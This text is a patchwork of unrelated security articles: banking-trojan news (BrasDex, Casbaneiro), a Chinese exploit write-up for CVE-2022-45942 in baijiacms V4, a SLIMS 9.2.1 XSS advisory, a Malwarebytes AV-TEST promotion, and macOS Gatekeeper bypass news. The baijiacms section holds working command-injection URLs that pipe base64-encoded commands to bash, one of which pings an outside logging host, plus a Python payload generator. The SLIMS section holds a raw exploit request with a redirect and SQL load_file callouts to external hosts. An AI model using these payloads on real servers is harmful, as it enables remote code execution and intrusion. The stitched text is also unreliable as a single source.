It's also engineered to capture account balance information, subsequently using it to take over infected devices and initiate fraudulent transactions in a programmatic manner.

Another notable aspect of BrasDex is its singular focus on the PIX payments platform, which allows banking customers in Brazil to make money transfers simply using their email addresses or phone numbers.

The ATS system in BrasDex is explicitly designed to abuse PIX technology to make fraudulent transfers.

This is not the first time the instant payment ecosystem has been targeted by bad actors. In September 2021, Check Point detailed two Android malware families named PixStealer and MalRhino that tricked users into transferring their entire account balances to an actor-controlled one.

ThreatFabric's investigation into BrasDex also allowed it to gain access to the C2 panel used by the criminal operators to keep track of the infected devices and retrieve data logs exfiltrated from the Android phones.

The C2 panel, as it happens, is also being utilized to keep tabs on a different malware campaign which compromises Windows machines to deploy Casbaneiro, a Delphi-based financial trojan.

This attack chain employs package delivery-themed phishing lures purporting to be from Correios, a state-owned postal service, to dupe recipients into executing the malware following a multi-staged process.

Casbaneiro's features run the typical backdoor gamut that allows it to seize control of banking accounts, take screenshots, perform keylogging, hijack clipboard data, and even function as a clipper malware to hijack crypto transactions.

"Being independent and full-fledged malware families, BrasDex and Casbaneiro form a very dangerous pair, allowing the actor behind them to target both Android and Windows users on a large scale," ThreatFabric said.

"The BrasDex case shows the necessity of fraud detection and prevention mechanisms in place on customers devices: Fraudulent payments made automatically with the help of ATS engines appear legitimate to bank backends and fraud scoring engines, as they are made through the same device that is usually used by customers."

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Beware: Cybercriminals Launch New BrasDex Android Trojan Targeting Brazilian Banking Users

A Remote Code Execution (RCE) vulnerability was found in includes/baijiacms/common.inc.php in baijiacms v4.

项目地址：https://github.com/baijiacms/baijiacmsV4  
版本：V4.1.4 20170105 FINAL  
环境：

*   php 5.5.38
*   nginx 1.15
*   mysql 5.7.27
*   20.04.1-Ubuntu

漏洞点在文件includes/baijiacms/common.inc.php  
第654行。

**利用**

这个system的功能本来是为了执行压缩图片的。所以要利用该漏洞，需要先登录后台，在附近设置中设置图片压缩比例，否则代码无法运行到此处。

EXP1：http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/poc.;echo${IFS}cGluZyBwb2MuZXhyNm1xLmNleWUuaW8gLWMgNA==|base64${IFS}-d|bash;&status=1&beid=1

EXP2：http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/whoami.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;&status=1&beid=1

其中poc可以使用一下代码生成，随后开启web服务确保可以被访问到即可

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import base64  
  
cmd = input("cmd>>> ")   
  
b64cmd = base64.b64encode(cmd.encode()).decode()  
  
payload = f"echo {b64cmd}|base64 -d|bash"  
  
print(payload)  
payload = payload.replace(' ','${IFS}')  
print(payload)  
  
name = input("name>>>")  
payload = f"{name}.;{payload};"  
print(payload)  
  
with open(file=webpath+payload,mode='w')as f:  
    f.write('1')  
  
  

**原理**

在该漏洞中，漏洞点为文件includes/baijiacms/common.inc.php  
第654行的system()。该函数位于file\_save()函数中。

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system('convert'.$quality\_command.' '.$file\_full\_path.' '.$file\_full\_path);  

其中，$quality\_command无法控制，能够控制的只有$file\_full\_path。

由于上一步调用file\_save()的，是fetch\_net\_file\_upload()函数的return部分

$file\_full\_path的定义往上翻为：

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$file\_full\_path = WEB\_ROOT .$path . $extpath. $filename;  
  
  
$path = '/attachment/';  
$extpath\="{$extention}/" . date('Y/m/');  
$filename = random(15) . ".{$extention}";  
  
  
$extention = pathinfo($url,PATHINFO\_EXTENSION );  
  

所以能使用的payload只能存在于url后的文件名后缀中，且payload中由于代码功能的限制不能出现，

*   htmlspecialchars()
    
    *   includes/baijiacms.php line92 :$\_GP = irequestsplite($\_GP);
    *   &
    *   “
    *   ’
    *   <
    *   \>
*   后缀 (pathinfo())
    
    *   includes/baijiacms/common.inc.php line 617 :$extention = pathinfo($url,PATHINFO\_EXTENSION );
    *   .
*   file\_get\_contents()
    
    *   includes/baijiacms/common.inc.php line632 :if (file\_put\_contents($file\_tmp\_name, file\_get\_contents($url)) == false) {
    *   空格
*   文件名
    
    *   web服务器系统类型，在windows下限制颇多
    *   windows
        *   \\
        *   /
        *   :
        *   \*
        *   ?
        *   |
    *   linux
        *   /

**htmlspecialchars()**

在该系统中，所有的参数都会经过includes/baijiacms.php进行htmlspecialchars过滤

所以payload中首先排除了 < > “ ‘ &这些符号

**pathinfo()**

pathinfo()会返回文件路径的信息

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$extention = pathinfo($url,PATHINFO\_EXTENSION );  

代码中传入了PATHINFO\_EXTENSION参数，根据官方介绍，传入该参数，只会返回最后一个扩展名，扩展名以 . 划分。结合后面的分析，所以payload只能存在与扩展名中

**file\_get\_contents()**

这一步有两个条件，首先file\_get\_contents()需要可以get到文件，其次文件中需要有内容满足file\_put\_contents()

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if (file\_put\_contents($file\_tmp\_name, file\_get\_contents($url)) == false)   

**$settings\[‘image\_compress\_openscale’\]**

最后在file\_save()中还有一步

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if(!empty($settings\['image\_compress\_openscale'\]))  

这一步在略读了代码后才知道，它由函数globaPriveteSystemSetting()获的，取自数据库中。

略读代码后才知道，这个需要在后台中开启图片上传压缩才会在数据库中建立数据。以便后续读取。

所以需要在后台的附件设置中开启并设置图片压缩比例（具体数字随意）

**具体利用过程解析**

EXP:http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/\[whoami.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;\](http://42.193.178.194/whoami.%3Becho%24{IFS}d2hvYW1p|base64%24{IFS}-d|bash%3B)&status=1&beid=1

这端url中，主要起作用的是url参数，其他的只是陪跑的（但是也不能删）。url参数原本是远程图片地址。

首先在自己的vps上设置payload，这里我设置的命令为whoami，为了便于区分payload，文件名也取名为whoami。然后使用python开启web服务。

然后登录baijiacms后台，设置一个压缩比例，保存，然后访问

http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/whoami.%3Becho%24%7BIFS%7Dd2hvYW1p%7Cbase64%24%7BIFS%7D-d%7Cbash%3B&status=1&beid=1

然后我们来看debug。

代码运行到fetch\_net\_file\_upload函数中，走到$extention = pathinfo($url,PATHINFO\_EXTENSION );时，截取到了payload：;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;

随后是mkdir根据时间，后缀，建立文件夹。之后来到if (file\_put\_contents($file\_tmp\_name, file\_get\_contents($url)) == false) 进行判断，这边我为了方便查看file\_get\_contents和file\_put\_contents哪个会出问题，多加了两行代码。

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$flag1 = file\_put\_contents($file\_tmp\_name,"1");  
$flag2 = file\_get\_contents($url);  

在这里之后进入file\_save() 。传入了关键的变量

$file\_full\_path：/www/admin/localhost\_80/wwwroot/baijiacmsV4-4.1.4/attachment/;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;/2022/11/G55bRGvfRVr00o3.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;

这边经过几个判断后，最后到达system()，最终传入的命令为。

convert -quality 100 /www/admin/localhost\_80/wwwroot/baijiacmsV4-4.1.4/attachment/;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;/2022/11/AFqEQN31zocEeu1.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash; /www/admin/localhost\_80/wwwroot/baijiacmsV4-4.1.4/attachment/;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;/2022/11/AFqEQN31zocEeu1.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;

由于代码中会根据后缀建立文件夹，所以在system中，payload一共会执行四次，也就是为什么在执行whoami这个payload是，会输出4个www。

**nothing**

1.  在写测试的命令时，如果要用到ping dnslog这类命令，由于linux默认是会一直ping下去的。所以最好加一个-c 4限制次数（系统被搞崩了好多次）
    
2.  php中单引号的字符串和双引号的字符串差距还是挺大的。https://www.cnblogs.com/youxin/archive/2012/02/13/2348551.html。因为这个特性，测试的时候被卡了好久

CVE-2022-45942: baijiacmsV4 后台RCE | This_is_Y

Senayan Library Management System version 9.2.1 suffers from a cross site scripting vulnerability.

    ## Title: Senayan Library Management System v9.2.1 a.k.a SLIMS 9XSS-Reflected - inserting gif - redirect to outside HTTPS server## Author: nu11secur1ty## Date: 12.20.2022## Vendor: https://slims.web.id/web/## Software: https://github.com/slims/slims9_bulian/releases/download/v9.2.1/slims9_bulian-9.2.1.zip## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.1## Description:The value of manual insertion `point 3` is copied into the HTMLdocument as plain text between tags.The payload t8xqv<script>alert(1)</script>uou2q was submitted in themanual insertion `point 3`.This input was echoed unmodified in the application's response.The attacker can trick the already authenticated users to visit anvery dangerous web page ot malicious javascript exploit.## STATUS: HIGH Vulnerability[+] Payloads:```GETGET /slims9_bulian-9.2.1/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%6e%75%31%31%73%65%63%75%72%31%74%79%2e%63%6f%6d%2f%22%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%63%64%6e%35%2d%63%61%70%72%69%6f%66%69%6c%65%73%2e%6e%65%74%64%6e%61%2d%73%73%6c%2e%63%6f%6d%2f%77%70%2d%63%6f%6e%74%65%6e%74%2f%75%70%6c%6f%61%64%73%2f%32%30%31%37%2f%30%37%2f%49%4d%47%5f%30%30%36%38%2e%67%69%66%22%3e%0a%0a&membershipType=a%27%27&collType=aaaa%27%2b(select%20load_file(%27%5c%5c%5c%5cdctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id%5c%5cwtf%27))%2b%27%27%2b(select%20load_file(%27%5c%5c%5c%5cazditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id%5c%5cdzd%27))%2b%27HTTP/1.1Host: pwnedhost.comCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: SenayanAdmin=o6o88hktpej7qdtu621h58q16q; admin_logged_in=1Connection: closeContent-Length: 2```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.1)## Proof and Exploit:[href](https://streamable.com/i20ipf)## Time spent`01:35:00`

Senayan Library Management System 9.2.1 Cross Site Scripting

As more and more users adopt new versions of Microsoft Office, it is likely that threat actors will turn away from VBA-based malicious documents to other formats such as XLLs or rely on exploiting newly discovered vulnerabilities to launch malicious code.

Threat Spotlight: XLLing in Excel - threat actors using malicious add-ins

Categories: Business
AV-TEST, a leading independent tester of cybersecurity solutions, has just ranked Malwarebytes as a Top Product for consumers and businesses for the fourth quarter in a row.



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The post Malwarebytes earns AV-TEST Top Product awards for fourth consecutive quarter appeared first on Malwarebytes Labs.

AV-TEST, a leading independent tester of cybersecurity solutions, has just ranked Malwarebytes as a **Top Product for consumers and businesses** for the fourth quarter in a row.  
Every two months, experts at AV-Test evaluate Windows antivirus software across three categories:

*   **Protection** against malware infections such as viruses, worms or Trojan horses.
*   **Performance** or the average influence of the product on computer speed in daily usage.
*   **Usability** or the Impact of the security software on the usability of the whole computer.

All products can achieve a maximum of 6 points each in of the three categories, making 18 points the best possible test result. At 17.5 points or higher, AV-TEST issues the "**Top Product**" award.

Each security product gets tested against 23,000 unique malware attacks, such as zero-day threats and widespread malware and must pass multiple false positives tests that include over 1 million clean files and websites.

For the latest Sep-Oct/2022 results, Malwarebytes received Top Product awards for both Malwarebytes Premium and Malwarebytes Endpoint Protection. **These results mark the fourth consecutive quarter we have received Top Product awards for both products,** stretching back to December 2021.

*   Full Malwarebytes Premium results: https://www.av-test.org/en/antivirus/home-windows/windows-10/october-2022/malwarebytes-premium-4.5-221511/ 
*   Full Malwarebytes Endpoint Protection results: https://www.av-test.org/en/antivirus/business-windows-client/windows-10/october-2022/malwarebytes-endpoint-protection-1.2-222515/

Let’s take a deeper dive into the results from Sep-Oct/2022, starting with the protection category.

**Real-world threats no match against Malwarebytes cyberprotection**

Malware infections show no signs of slowing down. According to Malwarebytes research, malicious software increased by 77 percent in 2021 compared to 2020.

Needless to say, personal users and businesses alike need strong anti-malware to prevent the costly consequences of infection.

For the **Prevention** category, AV-TEST tested protection against real-world threats launched by cyber criminals—including **0-day malware attacks** from the Internet, inclusive of **web and email threats**. It also tested the detection of widespread and prevalent malware discovered **only in the last 4 weeks**.

**Both Malwarebytes Premium and Malwarebytes Endpoint Protection successfully prevented and detected 100% of malware threats for Sep-Oct 2022**, proving that Malwarebytes can fend off the latest malware and defend against the pathways of infection used most often.

**Industry-leading performance**

Good cyberprotection shouldn’t have to come at the cost of system performance—the last thing you want in your security product is a slowing down of typical operations for daily work on computers.

For the **Performance** category, experts at the AV-TEST laboratory examined the effect security products had on performance, placing special attention to four categories:

*   Slowing-down when launching popular websites
*   Slower download of frequently-used programs
*   Slower launch of standard software programs
*   Slower installation of frequently-used programs
*   Slower copying of files (locally and in a network)

**Both Malwarebytes Premium and Malwarebytes Endpoint Protection scored 100% on the performance test for Sep-Oct 2022**, by and large meeting or beating the industry average in each of the four categories.

**Saying sayonara to false-positives**

When it came to the number of false-positives generated, neither Malwarebytes Premium nor Malwarebytes Endpoint Protection disappointed.

AV-TEST recognizes that false alarms can disturb the work routine just as much as malware attacks can. That’s why, for the Usability category, AV-TEST tested the number of false positives in three stages:

*   **Stage 1**: False alarms or blocking when visiting websites
*   **Stage 2**: False detections of legitimate software as malware during a system scan
*   **Stage 3**: False alarm test for standard software: false warnings concerning certain actions and blocking of these actions carried out while installing and using legitimate software

**Malwarebytes Endpoint Protection had 0 false-positives out of the over 500 websites and 1+ million files used for the assessment. Malwarebytes Premium only had four false-positives.**

**Nothing but gold for Malwarebytes on the latest AV-TEST assessment**

With the latest AV-TEST results, we’re adding yet another notch to our string of successes on leading independent assessments.

Whether it’s MITRE, MRG-Effitas, or G2, our track-record demonstrates that Malwarebytes has what it takes to keep both personal users and businesses safe from today’s most pressing cyberthreats—and do so with high performance and low false-positives.

Learn more about what experts and customers are saying about Malwarebytes:

Malwarebytes recognized as endpoint security leader by G2

MITRE ATT&CK® Evaluation results: Malwarebytes’ efficiency, delivered simply, earns high marks

Malwarebytes receives highest rankings in recent third-party tests

Malwarebytes outperforms competition in latest MRG Effitas assessment

Malwarebytes earns AV-TEST Top Product awards for fourth consecutive quarter

Microsoft has disclosed details of a now-patched security flaw in Apple macOS that could be exploited by an attacker to get around security protections imposed to prevent the execution of malicious applications.
The shortcoming, dubbed Achilles (CVE-2022-42821, CVSS score: 5.5), was addressed by the iPhone maker in macOS Ventura 13, Monterey 12.6.2, and Big Sur 11.7.2, describing it as a logic

Endpoint Security / Vulnerability

Microsoft has disclosed details of a now-patched security flaw in Apple macOS that could be exploited by an attacker to get around security protections imposed to prevent the execution of malicious applications.

The shortcoming, dubbed **Achilles** (CVE-2022-42821, CVSS score: 5.5), was addressed by the iPhone maker in macOS Ventura 13, Monterey 12.6.2, and Big Sur 11.7.2, describing it as a logic issue that could be weaponized by an app to circumvent Gatekeeper checks.

"Gatekeeper bypasses such as this could be leveraged as a vector for initial access by malware and other threats and could help increase the success rate of malicious campaigns and attacks on macOS," Jonathan Bar Or of the Microsoft 365 Defender Research Team said.

Gatekeeper is a security mechanism designed to ensure that only trusted apps run on the operating system. This is enforced by means of an extended attribute called "com.apple.quarantine" that's assigned to files downloaded from the internet. It is analogous to the Mark of the Web (MotW) flag in Windows.

Thus when an unsuspecting user downloads a potentially harmful app that impersonates a piece of legitimate software, the Gatekeeper feature prevents the apps from being run as it's not validly signed and notarized by Apple.

Even in instances where an app is approved by Apple, users are displayed a prompt when it's launched for the first time to seek their explicit consent.

Given the crucial role played by Gatekeeper in macOS, it's hard not to imagine the consequences of sidestepping the security barrier, which could effectively permit threat actors to deploy malware on the machines.

The Achilles vulnerability identified by Microsoft exploits a permission model called Access Control Lists (ACLs) to add extremely restrictive permissions to a downloaded file (i.e., "everyone deny write,writeattr,writeextattr,writesecurity,chown"), thereby blocking Safari from setting the quarantine extended attribute.

In a hypothetical attack scenario, an adversary could embrace the technique to craft a rogue app and host it on a server, which could then be delivered to a possible target via social engineering, malicious ads, or a watering hole.

The method also circumvents Apple's newly introduced Lockdown Mode in macOS Ventura – an opt-in restrictive setting to counter zero-click exploits – necessitating that users apply the latest updates to mitigate threats.

"Fake apps remain one of the top entry vectors on macOS, indicating Gatekeeper bypass techniques are an attractive and even a necessary capability for adversaries to leverage in attacks," Bar Or said.

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